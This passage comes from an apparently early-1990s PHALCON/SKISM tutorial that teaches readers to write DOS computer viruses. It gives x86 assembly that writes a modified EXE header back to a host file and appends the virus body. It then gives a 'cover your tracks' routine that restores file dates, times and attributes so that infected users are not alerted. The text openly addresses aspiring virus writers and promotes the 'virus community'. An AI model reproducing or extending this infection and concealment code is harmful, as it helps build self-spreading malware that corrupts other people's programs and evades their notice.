|
|||
|
All that is left is writing back the EXE header and concatenating the virus
|
|||
|
to the end of the file. You want code? You get code.
|
|||
|
|
|||
|
mov ah, 3fh ; BX holds handle
|
|||
|
mov cx, 18h ; Don't need entire header
|
|||
|
lea dx, [bp+ExeHead]
|
|||
|
int 21h
|
|||
|
|
|||
|
call infectexe
|
|||
|
|
|||
|
mov ax, 4200h ; Rewind to beginning of
|
|||
|
xor cx, cx ; file
|
|||
|
xor dx, dx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 40h ; Write header back
|
|||
|
mov cx, 18h
|
|||
|
lea dx, [bp+ExeHead]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4202h ; Go to end of file
|
|||
|
xor cx, cx
|
|||
|
xor dx, dx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 40h ; Note: Only need to write
|
|||
|
mov cx, part2size ; part 2 of the virus
|
|||
|
lea dx, [bp+offset part2start] ; (Parts of virus
|
|||
|
int 21h ; defined in first
|
|||
|
; installment of
|
|||
|
; the guide)
|
|||
|
|
|||
|
Note that this code alone is not sufficient to write a COM or EXE infector.
|
|||
|
Code is also needed to transfer control back to the parent program. The
|
|||
|
information needed to do this shall be presented in the next installment.
|
|||
|
In the meantime, you can try to figure it out on your own; just remember
|
|||
|
that you must restore all that you changed.
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
STEP 5 - COVER YOUR TRACKS
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
This step, though simple to do, is too easily neglected. It is extremely
|
|||
|
important, as a wary user will be alerted to the presence of a virus by any
|
|||
|
unnecessary updates to a file. In its simplest form, it involves the
|
|||
|
restoration of file attributes, time and date. This is done with the
|
|||
|
following:
|
|||
|
|
|||
|
mov ax, 5701h ; Set file time/date
|
|||
|
mov dx, word ptr [bp+f_date] ; DX = date
|
|||
|
mov cx, word ptr [bp+f_time] ; CX = time
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3eh ; Handle close file
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4301h ; Set attributes
|
|||
|
lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA
|
|||
|
xor ch, ch
|
|||
|
mov cl, byte ptr [bp+f_attrib] ; Attribute in CX
|
|||
|
int 21h
|
|||
|
|
|||
|
Remember also to restore the directory back to the original one if it
|
|||
|
changed during the run of the virus.
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
WHAT'S TO COME
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
I have been pleased with the tremendous response to the last installment of
|
|||
|
the guide. Next time, I shall cover the rest of the virus as well as
|
|||
|
various tips and common tricks helpful in writing virii. Until then, make
|
|||
|
sure you look for 40Hex, the official PHALCON/SKISM magazine, where we
|
|||
|
share tips and information pertinent to the virus community.
|
|||
|
|
|||
|
|
|||
|
Downloaded From P-80 International Information Systems 304-744-2253
|